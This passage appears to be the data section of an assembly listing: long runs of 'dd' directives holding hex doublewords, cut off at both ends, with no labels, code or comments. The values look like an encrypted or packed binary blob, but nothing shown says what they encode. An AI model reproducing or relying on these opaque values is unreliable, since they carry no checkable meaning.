0D02D227Ch, 0FA609DF1h dd 18B4D4ACh, 43D66841h, 30E2397Eh, 9BF38BBh, 531DD117h dd 68713F04h, 858265E0h, 7EBA0061h, 4E01AD43h, 5749F281h dd 9A700A3Fh, 261B12E5h, 9FF50215h, 87DEAC66h, 9279D802h dd 31BD02Eh, 68555049h, 3B82560Ah, 0CC72C9E0h, 0B5F78880h dd 5A76AC70h, 37386F24h, 0E970752Ch, 0B80E5FC0h, 45F3F729h dd 5F5217A4h, 44CA004Dh, 870E375Ch, 6CA0FA4Ch, 318D3808h dd 8B50B03Ch, 0F785BFD9h, 0F56B549h, 0E4F3895Bh, 75EA7B9Dh dd 0EC30BA78h, 0C62FEC68h, 3DD1C89Bh, 0DAEB8001h, 6602E3C0h dd 0F760C160h, 0C1CB8100h, 73462C0Fh, 0DC84844Bh, 331074B9h dd 2CAC0E54h, 569B4F80h, 0EF8DE613h, 842F6AE5h, 5E5AA9EEh dd 3EBD6FECh, 8F8A94B3h, 0DF018BEFh, 0E9783276h, 0DA605DA3h dd 0C094497h, 9D7FA4FCh, 1D080312h, 51250F02h, 14C0DDD3h dd 330638E2h, 0DF5EE913h, 0BA40B76Dh, 11C67FEBh, 1C9856D8h dd 8BA30B30h, 24DDDFF7h, 4CD44A10h, 0BEAB09FBh, 84092D51h dd 4C00F8C8h, 53C3034Bh, 0F892EF88h, 5F69967Dh, 681800C2h dd 55311834h, 0AB492B98h, 0C580042Ah, 88AB527Eh, 0FA3DBF5Eh dd 0D21EA768h, 80EA58AEh, 0F8B80884h, 5DF8D6F6h, 0D563BFA4h dd 0B82B5BCFh, 67C5E495h, 2C51144h, 7EAAD8ABh, 60388841h dd 215EF5C6h, 95EAF8B7h, 5FFA23DCh, 68200E64h, 9E40B54Ah dd 3807BD55h, 316B5823h, 1EB5DF4h, 305BD7D7h, 64F1E56Ah dd 32CB28EBh, 0F0DA4210h, 2ED0B722h, 0F37A0841h, 53BE4A75h dd 0D7A00836h, 0EE4FAB28h, 34E407B1h, 0C11317B0h, 7B1D04E3h dd 76580B9Ch, 0E8163EC6h, 57C1B0Ah, 0C8291C5h, 0DF6532B1h dd 715A2E13h, 781689F5h, 0D967B74Ch, 0CD29E984h, 540292ADh dd 41451D10h, 0EA408989h, 84A2F101h, 5E52A5D7h, 0C104BCBCh dd 8144079Ch, 9393ABE0h, 4CEDDE2Dh, 0C5D4899Fh, 71C4947Ch dd 420329AFh, 52028BAFh, 4A8586B6h, 1782B6CBh, 3DB35FF4h dd 5E0A49B1h, 5157FA68h, 76273F52h, 8350EA5Ch, 0F1D19582h dd 602A4152h, 55A5B80h, 7A0F1630h, 73D88BDh, 48985717h dd 5D91671Dh, 4DBB70EBh, 0DF4F898Bh, 41097BB0h, 4FAE42F0h dd 4A1841F6h, 2EF9497Ch, 380BEE80h, 0BDF3345Fh, 430C278Bh dd 0F734C25Fh, 0E98D486Fh, 0F67F8942h, 0E1647DD6h, 93945249h dd 0DFB3C6C7h, 9162FC7h, 7533AFC1h, 8DA27BDBh, 2BF9AC4h dd 5D209668h, 728C3B98h, 4002B6B3h, 0FF0E0827h, 14C4570Dh dd 4C098B80h, 0BE7F1106h, 6DAFE202h, 0C2404B17h, 0CA92977Dh dd 0A0A8E878h, 4E0FBE56h, 8B47431Bh, 2543C36Dh, 565451CCh dd 20DC0946h, 645A65A0h, 15A26E56h, 400CC9B4h, 0AE4425CAh dd 8CF02BF7h, 0C20FD320h, 94405583h, 3F010D4Eh, 37F18153h dd 0A03B7244h, 141FECCAh, 0C9017436h, 1BC37BABh, 4C3B2482h dd 0A4402BAEh, 6D2F33D2h, 20516694h, 0B9047DB7h, 216E3B8Bh dd 0FFF017EEh, 0A514530Fh, 0AF82D84Dh, 0E60F0B50h, 644194CEh dd 0CAF28952h, 0A2C7DDC0h, 40C751B5h, 283C19DEh, 27E93144h dd 0A99B09F9h, 86E527D4h, 0BF050DBCh, 0C1180F7Ah, 0C1DEE76Ah dd 6BDD4175h, 76A72AF5h, 0D3090A59h, 90FD51E0h, 96055919h dd 20D5A03Eh, 54580D79h, 89BAE14Bh, 6700A462h, 0C17E3D3Ah dd 6D805E2h, 0BF9CF5B6h, 557ADA66h, 0F3C9F8FEh, 280CF8EAh dd 5E4DAF7h, 0E58CD5E0h, 0B0B58429h, 1B277E0Dh, 0A073DE45h dd 0BB5A4A08h, 25E99928h, 0A77D5225h, 0A9D06EDDh, 9B85006h dd 1AFCEEBDh, 0B9011F76h, 1816656Fh, 1FCD0320h, 94675738h dd 841F9E9h, 33A23DDh, 0ADC2801Bh, 0C08D061Bh, 9EF2C8DCh dd 0F3B84EE9h, 72854026h, 6F8A430Ch, 5EF7D687h, 82EBE91Ch dd 51706B68h, 5A5307C5h, 0C354355Bh, 511F562Fh, 0D18429BDh dd 0B8B9091Dh, 87F67D04h, 0B182BB75h, 1F626031h, 6840A8A3h dd 0CF65544Ch, 1F7A9FE3h, 9DFC1AD7h, 0BA9621B8h, 433CBA01h dd 223B26ADh, 0A48C4267h, 6A4F5C8Ch, 72696F06h, 0B9212AFh dd 0EAEA028Eh, 80F7425Dh dd 8C5199Ch, 0E7DC25E9h, 50008D3h, 111D61F6h, 2DD02829h dd 0B87ABF07h, 0A4F0E916h, 3E17A1E6h, 846AE954h, 279048E9h dd 30518FB9h, 78DA54C9h, 3B0D6B16h, 7368D1F7h, 38AC29C1h dd 12F10161h, 31397445h, 2B093E5Ch, 4B665EC6h, 41891A5Dh dd 0E8057C60h, 0BABF1076h, 1A2EB65Ah, 0E414B08h, 9DD69CEh dd 0E3695D58h, 319F34CEh, 0B6ECFD5Fh, 0E581C1DDh, 6A09261Ah dd 98F66ED4h, 0B5084904h, 0F690FB4Ch, 5E39383Ah, 21FE9366h dd 212CFDC9h, 96F97C0Bh, 40CF8FF0h, 7E945F45h, 2DCA4988h dd 2AD784E1h, 0CB141806h, 0CDF095BFh, 0AF7DF932h, 0CD2B57EFh dd 7065DDF9h, 43A891D5h, 84DDE9E0h, 766A7BB9h, 0DB02173Fh dd 4703114Dh, 60B7BE40h, 497C25D0h, 6E98805Dh, 0C00936D4h dd 3416100Ch, 0F9510157h, 0BB0804F4h, 0EA3B778Bh, 0D761E24Bh dd 410EFEE4h, 0D3A12A9Ch, 122A1330h, 0B067C0Bh, 0A699C99Eh dd 0AAF57BC1h, 2116A63Fh, 1AD42F0Ch, 0B9431645h, 936951BEh dd 6D5ED18Eh, 0E54EF236h, 1A4E2E3Fh, 5AA6E9DEh, 5C60501h dd 0BF36392Bh, 80B3494h, 3725FD5Ah, 2E1FE1E4h, 0E9C2F2E6h dd 0F551773Fh, 9F9BB6BCh, 865D64C3h, 20050385h, 8161CA7Dh dd 31768F7h, 3251CC3Ah, 762E0814h, 809A3A94h, 0E181123Ch dd 50221615h, 4A6A9329h, 85CE8134h, 5F5A02EDh, 1F201296h dd 91DDEE3h, 0BBD2DED9h, 287EA320h, 39CDD0F7h, 0CE004005h dd 2D23A24Ch, 223A0863h, 9C3C8166h, 0C689BCD7h, 4713DC88h dd 93A2526h, 55453C6Bh, 34CB6C80h, 5E760764h, 4296C304h dd 0E4AB6A5Dh, 4D0B35AEh, 0E6557EF5h, 0A7E9122Dh, 99FDD4A5h dd 2878F5E1h, 695E2CD3h, 0FEF1100Eh, 0CC656616h, 0BDC791AAh dd 84D655AEh, 538BBADEh, 0CE5C5E7Dh, 0C6BD0041h, 0D10B310Dh dd 0FC297EDh, 8C9F1B75h, 66D85909h, 0E2081910h, 171FC4Fh dd 0F6C6FE1Ch, 0DAD080DEh, 0E9F31F88h, 0D0D7B0B9h, 0D39F505Ah dd 0EAE9E281h, 0B841A6Ah, 97C5347Dh, 0F0054BEAh, 5BC2CD7Eh dd 11955DEDh, 6FB5E904h, 0DAA241BBh, 0EF130F7Dh, 0ED7CE7AAh dd 0FDA00A89h, 139CBD9Ch, 0C8D854BAh, 8AB3064Bh, 0EB93AE5Ch dd 0FA7C682Dh, 4B68D38Bh, 51954E2Dh, 3DD48901h, 52C2D65Ch dd 0AFF918BAh, 35227682h, 84C7A936h, 8AA0F2E9h, 0D23E50B6h dd 59ACB896h, 5F0507C0h, 0A2499868h, 0D8045CB2h, 3F03F66Ch dd 0CDCC4638h, 3B0C9340h, 648B63Dh, 0CB58EA05h, 801CC247h dd 3C39F208h, 4271ADDDh, 0CEB655C4h, 5FC4E917h, 63851290h dd 0BB7D18CDh, 97E90B81h, 0D619C94Ch, 38695323h, 248F68F9h dd 0C4FC337h, 0C9C671F9h, 0F2292F31h, 0E90F8C2Ah, 1649D75Fh dd 7EC15FEBh, 75512001h, 9BB7440h, 20A99FA4h, 53593B80h dd 9FA126A6h, 0C49E0795h, 348AF683h, 0F70F277Bh, 0E14B6230h dd 0B0C8B3CBh, 0B10BABFh, 3115356Ch, 0D1D00AFFh, 0B64C8570h dd 927869D9h, 35009177h, 42E28120h, 1245E877h, 0E8647CE9h dd 8CAAD2A6h, 8A408B7Eh, 0F8892758h, 0C6A12FEh, 4E03770Ah dd 0C99F7E49h, 0BDB01455h, 21F39946h, 7E57EE8h, 81EE643Bh dd 1096D553h, 0BB75351h, 5BF988D1h, 0E5A382FDh, 58DF90F1h dd 2D649D29h, 6473E827h, 4E57795Bh, 0B8310728h, 69B78036h dd 33682D40h, 3F02E80Dh, 0DC1EAF22h, 0B008A067h, 0C1AE40EBh dd 2703EA3Ch, 5182E090h, 0B3C504B5h, 0AAEB300Fh, 9D65A104h dd 2F39EB12h, 0E6BAA4E7h, 90C58C7h, 0DD9DC1E9h, 6277083Ah dd 9231FF07h, 82CA6AC3h, 0BB68E062h, 0C1A29FDBh, 0E9AF7E95h dd 32C7444Eh, 55091168h, 5201F234h, 4BAF6856h, 12F30C8h dd 37B45399h, 751D3FCFh, 9A09E9C5h, 71AE8D57h, 62675F1Bh dd 0FC1D718h, 3D7A1DB1h, 943E6D7Ch, 34C107F9h, 0F6C3604Ah dd 10D31C5h, 34D1E982h, 599D5B86h, 5A73DC8h, 0DB32040h dd 1F27349Ah, 1ECCD9C7h, 0B614495Ch, 58C11A9Bh, 0C5B1806Eh dd 981FBAB4h, 7BE85C01h, 0BB0F6520h, 605D5564h, 333F381h dd 0DF25599Dh, 565BC303h, 0D9F824C0h, 0EC585DE9h, 620F8019h dd 0E81768Dh, 0CA14E7F5h, 5DEA2103h, 0F1FCEA28h, 0D701EF0Fh dd 0CCCBF38Bh, 0E9178320h, 2AEDFE25h, 0E702EE3Dh, 0F389132Dh dd 47FAF2CBh, 0BE00DD09h, 0C6685B35h, 48BE0953h, 88570BEFh dd 634784E2h, 0BDA012BEh, 7E89753h, 90168F8Dh, 0F6163F58h dd 0C624E0D2h, 0C42F7D41h, 4D4AC211h, 2D30C50Ah, 281F05B8h dd 12E222AFh, 0F3526C3h, 0DB00C6BCh, 822DD518h, 5CA10724h dd 705F00Ah, 0CD41EB20h, 900C7441h, 0A6D2EC69h, 90EC5EAEh dd 8BABE5h, 81856617h, 173F956Ch, 2F6E7BFBh, 7844EF19h dd 189890C9h, 0EB8DC8E6h, 0B33A1EA3h, 698CCB19h, 5924B76h dd 4EF84EAh, 0CDD3EFC8h, 9BD1204Bh, 1270BD80h, 0C537C067h dd 0FA8CEA5Eh, 27759E8Eh, 60BE5FCh, 9417B353h, 405FF922h dd 265B745Bh, 404803h, 75FA42C0h, 8C5F4DE9h, 411A2B2Ch dd 618B3AE5h, 40A11240h, 3B7F7E0h, 93122FDDh, 0E419EA0Dh dd 15C51E98h, 0E14E1368h, 22C709B6h, 0DDEE92EAh, 82216B25h dd 61323ED3h, 0BFBECA9Eh, 96DD52F8h, 7CB92060h, 0C520B098h dd 0A2B80481h, 0FE2B330Bh, 0BF4C491Fh, 0D1A40h, 38317BAFh dd 92B73F35h, 72546E7Fh, 782D6893h, 9643982Dh, 0EBE98018h dd 544ABA92h, 6BBF39EAh, 0E9166BA6h, 8C4654F6h, 0AFB12C24h dd 0CB4EC4Dh, 0E93268EAh, 4CA3492Fh, 62F4F468h, 23D3BBDAh dd 28656DF6h, 255AAB43h, 6F328712h, 700F740h, 7E1E38A3h dd 0C71756EAh, 1AEC61DDh, 1248B6E5h, 7FF9876Bh, 1DD8D68Eh dd 5B80452Ah, 975C9A59h, 882A2930h, 2636BD80h, 1E01F15Dh dd 0A876C1EDh, 6845E91Ch, 0E2BE02FBh, 8E70EA6Bh, 491D63F6h dd 4BE6B038h, 2C7C5D59h, 52D9E9C5h, 0BDC2EFB2h, 4F29DDBEh dd 0FCA902F7h, 69E5DFD0h, 96101411h, 0E1C1163Dh, 0C652F01Eh dd 0AE674529h, 29337D30h, 213359CAh, 76E134D7h, 0D8482785h dd 0EEC4D271h, 0BCD25734h, 31E9F1A3h, 8E2B3625h, 0F3BC10A3h dd 69C89776h, 18BF5971h, 80F64C07h, 0D0B5EA88h, 849CC4D8h dd 83E889C9h, 531F95Ah, 2A0C0577h, 0EE8E08BDh, 14678816h dd 0D1D306E2h, 322E3CCEh, 88528183h, 0D0D6F6E6h, 5EB45AF4h dd 0B3518549h, 0B501E0C9h, 0AC023CE1h, 0FD0FE678h, 0A4B3C680h dd 2B9CDFA5h, 48175D11h, 562DBFDEh, 425A66F6h, 0B5B3D441h dd 7CBFA90Dh, 193C6B02h, 0C2DD0176h, 29080615h, 0B4A4DCE4h dd 5FD281C9h, 565C0148h, 0E84FDF4Fh, 91E9B1C2h, 0B56C0E3Eh dd 700008B2h, 0F334CC2Ch, 0EBBE12BBh, 0C55BCE28h, 0EE3FE945h dd 3B3FA754h, 0C0A6A550h, 889CB569h, 772E8CC9h, 73E3AC3h dd 0F26B2151h, 27CA7B53h, 905AEE23h, 631D03BDh, 0C5571ED9h dd 56AD121Fh, 5360F04Dh, 7226680Eh, 835B465Dh, 11E65Bh dd 571AB720h, 1D6414BFh, 0EF876305h, 5287D5F7h, 7A08FD26h dd 4E085CC1h, 1F7D2612h, 0CBFBD7CFh, 5C6110F1h, 0FDCABF2Fh dd 0E9AC4375h, 0B76F3BD7h, 0C9114D7Ch, 0C176C901h, 7DBD2D81h dd 0C645135Eh, 302D2DF6h, 274F7640h, 64FC12B2h, 1A39B941h dd 0F1881C2Bh, 30CB290Bh, 0D1BFDE19h, 0BAD62DFEh, 726857C0h dd 23A932Ch, 34F644FDh, 6ABC3360h, 0E94C7304h, 31C880F5h dd 0C56CF040h, 9C5B51ABh, 82416069h, 5353B12Bh, 2F7F558Ch dd 800B506Eh, 0DA69F3B8h, 5D62F620h, 2D05F5D6h, 0EC070EEAh dd 7052809h, 0E73EFCBBh dd 2C2419Eh, 9D826970h, 44C7156Bh, 3BDF6882h, 0BEADD1A2h dd 5FF18000h, 0DA8EA308h, 13CED8A9h, 0F8347068h, 0C805C47Dh dd 0BCE82C04h, 3BA3A465h, 1C40293Eh, 2F8FE6BFh, 33F438B6h dd 0B0278B1Eh, 95772C42h, 0C8E9D6D8h, 0B5015138h, 0E9DDF63Ch dd 903B95D1h, 0F381050Ah, 375AE40Bh, 0A24B60ADh, 0AAA983C6h dd 92F56C3Ah, 53ACCBEBh, 5D944C2Eh, 0BF215BD2h, 0B02A87DDh dd 415B770Fh, 0BD880131h, 4BD4EC05h, 0F384DBFDh, 0C95B0E6Ch dd 0BB40D65Ch, 0EB8109F2h, 6B0751DCh, 0B90AACC3h, 0E9CB09A0h dd 27E8FE25h, 5288A677h, 58F6617Fh, 0A1872CD0h, 0E98036D2h dd 76423BB9h, 0E11E8160h, 4647490Ch, 0D65CD1F7h, 6F7B168Ch dd 612BFC2Bh, 0D1015DBFh, 0AC8A4120h, 51EB8A35h, 302E4AD9h dd 0BA77FB52h, 0F80B4D6Bh, 0D30106D9h, 4F7E4EE9h, 0AB13EB1Ch dd 0A9B1A4D3h, 57875F2Ah, 0E452AAEEh, 382C5AEBh, 682E5C57h dd 5600FF01h, 5D06461Fh, 8208C417h, 535B0459h, 45952B03h dd 8C32FCE1h, 870E310h, 186B636Ch, 81092B6h, 4C10DA84h dd 417331CDh, 88C5AB7h, 1D18A460h, 62AB6E40h, 12191063h dd 3999A02h, 818A3BFh, 24186BD4h, 35DB80CFh, 0EBB010C4h dd 45CAC04h, 4F06B865h, 0B03108BCh, 6268186Ah, 19A7601h dd 89013B87h, 0D9088C2Ah, 40A318EDh, 5441F751h, 0D9034AE9h dd 0CBC24910h, 101C3919h, 0AC8451E2h, 71188C89h, 62260894h dd 0B7D61896h, 3A80A02h, 810AA0Ch, 582A829Ch, 0C4419884h dd 674E530h, 20102103h, 6831FAE1h, 23C4086Eh, 1F9188Ch dd 7440F208h, 618A4033h, 7728FE62h, 0E3480344h, 4E401010h dd 0B8820415h, 53088533h, 0E422A12Ah, 8184B854h, 0B1085266h dd 7FD82091h, 0B780AF79h, 8CDB81D7h, 8784F39h, 37874095h dd 0F720EA63h, 57083175h, 988CFBB9h, 7D095210h, 1821C880h dd 0A1082D98h, 2C18C4BFh, 0C10E0681h, 56082010h, 8140F31h dd 1888C9A2h, 8D081A37h, 5CFE0886h, 0B8987E0Ah, 0E9188F98h dd 9608CA0Ah, 0E17D98C4h, 8C677FAh, 20204185h, 0E331F678h dd 7F91102Eh, 88B2C901h, 8E84E08h, 30CB3FEh, 88F42815h dd 10C483A1h, 0D106B4A9h, 1120087Eh, 2C8C33CFh, 0B1315120h dd 0A5364902h, 0D64A0888h, 2033070Ch, 0AAD4A8BAh, 0E908C98Dh dd 44118025h, 649D5F0h, 0E110EF03h, 0D6082AE7h, 4B09318Ch dd 8CD82510h, 18680108h, 86C63C0h, 1810F3F8h, 8D100EC1h dd 0DC432461h, 2067A78Ch, 0C61E40EBh, 0B310F165h, 405B9846h dd 7D923108h, 885D2B18h, 15E01708h, 0C97C80E3h, 6C226661h dd 1603DB78h, 0AD08107Ah, 41873149h, 550192C5h, 9C860463h dd 0AFA03340h, 82AC0C9h, 0B63294D2h, 288217Eh, 2F02F4DDh dd 5C1F0242h, 0B8927204h, 0CA8CA214h, 0ABD8A403h, 0C359400Ch dd 54409D4Dh, 90405C68h, 0BCBCA928h, 9C60C850h, 0A4E84CFCh dd 192FA897h, 0C7B74876h, 0BC8E93E3h, 2C473B00h, 17B00275h dd 0B90E8963h, 3D7AA7h, 8F440105h, 0C90B4940h, 8BF7750Bh dd 16E85874h, 0AAF003DEh, 0C033A321h, 30B10FE0h, 0AC2C304Fh dd 4660C3E9h, 6C83051Eh, 0B5E75A9h, 79DC2C03h, 7208B74h dd 665C686Bh, 66080169h, 0FA871D17h, 810DE9E9h, 3E1056Ch dd 70E86BC7h, 1332DFDFh, 6075CDEBh, 0E6FFE489h, 22AF4055h dd 3AC20618h, 464B1AE9h, 41F95C4Ah, 6E7EFB89h, 5108E9C1h dd 7CB80A82h, 60FFB0CEh, 161240FCh, 0E129440Fh, 0AE0804F4h dd 0DBC1CF60h, 64E43B5Fh, 2B59E902h, 0F9C378FAh, 0F4081C41h dd 949FF144h, 59CD25A3h, 4216BEFEh, 0FCCA3B8Ch, 0C1211298h dd 0BD4600E9h, 6810357Ch, 789F2979h, 2C1D0C4Dh, 0A37814BAh dd 0CBD59D3Ch, 3A358BB0h, 4AAE71DEh, 0E7881670h, 0E8C109C0h dd 12817F0Ch, 472371E9h, 0C2F32594h, 4F84EA89h, 1903F7D1h dd 0AC0AB1CDh, 5F27C13Fh, 1F306E6Fh, 3C280C5h, 0E9AA2C4Eh dd 1F02ACDBh, 0FD685DEEh, 63F47C3Fh, 7A4E3A90h, 4B17238Bh dd 0E76CA8B1h, 577C6CE2h, 0DB971F44h, 0B1E9C1C8h, 0A32C00CAh dd 66E82E28h, 3EFC0DCFh, 60A10016h, 0F3F436FBh, 71900B69h dd 7552450Fh, 1481BA33h, 8D2B2C87h, 74B9C3CBh, 17A02F0Bh dd 0DD6F4E23h, 0BEE72ED0h, 0F155E892h, 372A7C68h, 17208251h dd 5666B2FCh, 0C20C64ECh, 97C1BB5Bh, 0F2418ECAh, 2C81EE46h dd 9A74C9BFh, 0C2EFE944h, 73BF208h, 7DA43D35h, 0B7B5C4C6h dd 339800C7h, 4B85E980h, 99D3B295h, 0EB6C508Dh, 0B27558A2h dd 50CB800Ah, 0B5188710h, 50097F0h, 8103B672h, 271CFEF3h dd 297632F9h, 8F1762Dh, 5E17A777h, 54501191h, 0CF65F26Eh dd 4A09A5BEh, 621BBAC7h, 77C4237Dh, 283F7B3Ch, 0BF0B5098h dd 2111DA04h, 8F7FFD93h, 0F22F7F92h, 79794419h, 366817F7h dd 91FC8D10h, 0F9477046h, 67B8E982h, 98F927ABh, 41A2E970h dd 0D021D8E8h, 5B5AD5C9h, 51D830ADh, 4951D0E9h, 921C20F6h dd 0F569FB00h, 17605405h, 7D429768h, 0EB590705h, 10B94E03h dd 0D2E9E0A2h, 0ED3FC318h, 3BE20215h, 0DF4EC255h, 0E29D9546h dd 0D133A0A4h, 4C3A6043h, 4B26E809h, 6D56A504h, 86B07DE9h dd 82826C2Fh, 0AD26858h, 0FAAF08D5h, 5AE57227h, 0E91C3CD5h dd 264A6349h, 3C19135Dh, 5C62BDB6h, 1F0EBC5Fh, 5D270F09h dd 0F55503B1h, 0C0847B5Ah, 0F785C9BDh, 82C320B8h, 18096C32h dd 0B308CF68h, 0A488266h, 3E760271h, 0B879684Eh, 69FCD6A7h dd 8EA404h, 0FB672505h, 91595B3Eh, 0C352C530h, 8E08F884h dd 0FF32A081h, 2FE9BE63h, 0A35E0F95h, 0CCC689E2h, 0E959094Ch dd 2B1AAF03h, 0EE9760F4h, 0CBFE2585h, 3F5C26A9h, 0AED006C9h dd 3B9012Ch, 8132BD7Fh, 0CE16D7E1h, 8BC55521h, 0AC09FFBh dd 8E2FE5E9h, 165DC181h, 34604B42h, 0B916C020h, 3B360A31h dd 44A820C1h, 0F06F5830h, 265330Fh, 82805624h, 2D3116Bh dd 41A7BE47h, 80F7FBF7h, 9DF681EDh, 16201F3Bh, 0C15E0221h dd 1EC002EFh, 4AE68505h, 7EFC8958h, 102AD348h, 0BC5E5EC4h dd 1EC5042Eh, 41AA0BFDh, 0B30FC71Eh, 0EE292067h, 900A5049h dd 56B64AA6h, 0A416542Ch, 0E83422Bh, 0CB8D3104h, 8103A7ECh dd 57427F5Bh, 8220478Fh, 93B94D5h, 0CB97007Fh, 0BDD41611h dd 0D701BD80h, 9A4FB2E9h, 517F76A4h, 60DA8A2Ah, 0C3A372F9h dd 43A341Ah, 88C4ABE5h, 0F55CE4E0h, 2FAE84C3h, 6AFD5F74h dd 21685AC1h, 35752365h, 3F661B54h, 0FEA6CB07h, 105B0E8h dd 5D06CE25h, 3408B408h, 79FECD2h, 33125E7Dh, 7F256E3h dd 1C5F2138h, 0FAD4925Bh, 2E787E76h, 2A3F3F3Ch, 3A1DF50Eh dd 7E7E4CA9h, 4F60CD81h, 0C06E1736h, 5ABEEDD3h, 210E167Dh dd 8910E9EBh, 0A210A201h, 0A8C77772h, 480F2026h, 0E9608273h dd 9206BE8h, 23EE81C0h, 0EC118104h, 146B51Eh, 983417D8h dd 57061483h, 0A318F3ABh, 0C5BE161Fh, 2AC44173h, 4BFB974Eh dd 0C8296B1Fh, 0D6374E55h, 5BDC8B6Ah, 4872FDACh, 0B75A0918h dd 0CB8B3B4Ah, 5CC0E0F2h, 13AAE954h, 0D58834C7h, 49DC8072h dd 0F977C35Ah, 281EA918h, 5A266658h, 550AE82Ch, 0D0988A06h dd 1285F14h, 19B151C8h, 0CDB9E980h, 0EEF671F1h, 4C2C5E90h dd 1E1385A0h, 0B6BCD39Ah, 4FBBB143h, 0C1F08014h, 0BF0CA9ACh dd 34CF29DDh, 5F1D403Bh, 6B88A59Bh, 0BE4287Dh, 35E30698h dd 639E9657h, 2245BA31h, 0F2680E09h, 84B0DB74h, 927B7CE9h dd 0AC7CD5C5h, 9DB4D602h dd 26055B1h, 5B00580Dh, 2D482C6Eh, 4823E096h, 43E05336h dd 4503F339h, 4B125905h, 0C6424C17h, 6D0BC125h, 5997269Eh dd 0BABE8086h, 0E90B9A2Eh, 5ACC0C5Dh, 28C4A4E2h, 0BCE9020Bh dd 3C257F25h, 0BB1595F0h, 451760CBh, 16286454h, 60F2DCD1h dd 93F44E3Fh, 2709FB09h, 4AB37473h, 6BD82D07h, 0FEC28012h dd 6C680642h, 458F562Bh, 2D34430h, 40B4071Bh, 5D45A572h dd 274277B2h, 0BE363475h, 209F4259h, 97E0302Dh, 4B429408h dd 0FDF032F7h, 0B9245944h, 99A80257h, 6B0A252Ch, 47C3AD81h dd 0C07A297Fh, 61C2E1FBh, 41304524h, 8AEEDE00h, 9D5F51FEh dd 1A023170h, 890ECC2Fh, 0FD59BAF8h, 50703D81h, 0FDB53F37h dd 0FF580802h, 32DD2D3Ah, 0E0C158FFh, 51F509BBh, 7AF014D6h dd 4CB48649h, 0A6951B21h, 2F79E069h, 0F40D7B7Ah, 0B76EBA4Dh dd 55F28F00h, 767E9271h, 70585F38h, 8BCF0B94h, 0F4C8AC2Dh dd 654703C7h, 0EF2973B3h, 8508C441h, 327FD11Ch, 29FD3B81h dd 696D62Ch, 46F4A8D2h, 62ACDC97h, 696AB030h, 0FB16B460h dd 1C80B6BEh, 94E0848h, 0E46FFFC6h, 687982AEh, 9EC46EF7h dd 66F4582h, 0C00B5EB9h, 0F6566810h, 0A10AE4AEh, 3710F87Eh dd 92FD7C6h, 1DF10A3Bh, 3E30C54h, 0F3ABE213h, 9DB5361Ah dd 62005F49h, 5281EE7h, 3E26187Eh, 9AB3BF19h, 0FE269F31h dd 41F87809h, 2E8E27C7h, 74AD2362h, 51EE8020h, 5A6E3FB9h dd 4B185958h, 0A45D32B4h, 80B04FF5h, 43E4BE03h, 8FB551F4h dd 0FB39AA01h, 988C0725h, 0BA5E306h, 174F2762h, 0A9A07CFEh dd 1EFBC01h, 6BE7E9FEh, 68E5D582h, 0AC797DE8h, 130AA282h dd 8A0C403Ah, 25802E30h, 0C5DC00D8h, 37E9E06Ch, 7B32E369h dd 56F88916h, 0E4B51CEEh, 435F357Eh, 0B36DE0ACh, 0A05BFE40h dd 0F2485280h, 0ACE19733h, 6E42E49h, 585A0DF1h, 611A47FDh dd 0ED9530B4h, 52444F32h, 0D2BBFE22h, 0C4B41160h, 0BB85E80h dd 49F757D4h, 686809D7h, 4870E931h, 55859860h, 0F8DDCDA0h dd 0EC978131h, 94E18139h, 0D29FA32Ah, 4D961BB4h, 0D4515791h dd 80A0A738h, 0DE9D0DC3h, 10E53A18h, 50428E27h, 8D60A4A4h dd 2067B80Ch, 35393CB9h, 23B13680h, 98685756h, 29AD4812h dd 5E76FC80h, 0E0334FA5h, 0F058314Bh, 0DB01B5ECh, 3E4E61E5h dd 1C203D31h, 0E13C9E16h, 6E103368h, 4225368Dh, 1CA86D38h dd 55993EC9h, 0E9096D45h, 0B79ADF6Ch, 13C3F58Fh, 2EF1485Fh dd 851CAFADh, 74C18DC2h, 5A0223B8h, 0F1BDF26Ch, 57E95066h dd 243DEF96h, 0C30120EBh, 0FC69B993h, 0C4C3D12Ah, 8FC3A0A8h dd 95B7F8B7h, 87F93510h, 988027B8h, 452830EAh, 1527CA1Ah dd 0EB1C54ACh, 292DA3DAh, 4406515Bh, 4F8BBFF3h, 5F1C8710h dd 46417580h, 11D12C9h, 6AF009F0h, 507BDD0h, 4C273038h dd 800A6951h, 51D8AD30h, 8AD6072Dh, 0B31D5211h, 95C14E0h dd 6120AAC0h, 0E66F5097h, 28422768h, 339A17DBh, 26507B6Fh dd 1EA21E43h, 2552A7D3h, 0A51DEC27h, 0D3C5E3C8h, 2EC77D80h dd 6F065C22h, 0C5AF71Dh, 761801C6h, 0E9BAFE1Fh, 65A9EE00h dd 0F5290A09h, 940703E4h, 5AD70244h, 37F6E7C1h, 0D3CAA414h dd 23F82509h, 98C8F49Ch, 9F3047ECh, 595D0E62h, 0CD8070DAh dd 0EDC04401h, 0CEB35305h, 26ECF3E4h, 2843DD30h, 0C9FE28A7h dd 0E6067E98h, 0EFC8E0CDh, 5D1169F6h, 426407Ah, 29550B05h dd 200F215Ch, 34576620h, 0EB1C8351h, 77407534h, 2C68F329h dd 67F69E47h, 59C1D6E9h, 0A9A4D2A7h, 0F23DDF11h, 0B9E7298Bh dd 328B80FEh, 0E194FFC2h, 0FA29594Ah, 427CC82Ah, 9EADF441h dd 0A82DFFC4h, 164ED23Ah, 80F822EDh, 46E9CBBh, 0DDBD09Fh dd 1658189Fh, 217CF40Eh, 0C1D6830h, 4B9B44E8h, 0C70BAF2Bh dd 0C5B9422Dh, 6056AE77h, 49E9C331h, 4E8A1E53h, 72680D78h dd 7CD3B729h, 0D320F9EDh, 0C61BCE39h, 905A05E5h, 0A3090AF4h dd 2CFE1D4Bh, 65BD59B9h, 8E322518h, 0EC6836A1h, 37CB2E1Bh dd 0F8051448h, 0C97BC87Ch, 0AA0804E9h, 19BCCB12h, 60AC3D4Bh dd 0AF4A223Ah, 3BE15931h, 4CCE3648h, 0FF4B5CF1h, 1AC7811Eh dd 6EA41517h, 0FC680AA0h, 70EFA86Ah, 0E9A5B483h, 0E54E315Fh dd 9F59166Ah, 55AE6020h, 0BF0C411Ah, 24084CA8h, 52E008A5h dd 28064926h, 9D067A5Fh, 6A4505E0h, 0E6014222h, 474E17EAh dd 0DB570167h, 400B3D02h, 0A0FA709Eh, 17EA824Bh, 3B2DBB38h dd 0E9A8802Eh, 12B43CC0h, 0FA6DF481h, 63205E0Eh, 5B50008Fh dd 0E9E5D107h, 43BCA7EDh, 484F9349h, 1D189759h, 0D4E1F527h dd 1F476B17h, 0EAB654BEh, 640E3B25h, 975CA2A9h, 2030E527h dd 116826DCh, 0BB53605Bh, 8D303414h, 0CBF0941Ch, 0E9E30C72h dd 0F728D563h, 7342D224h, 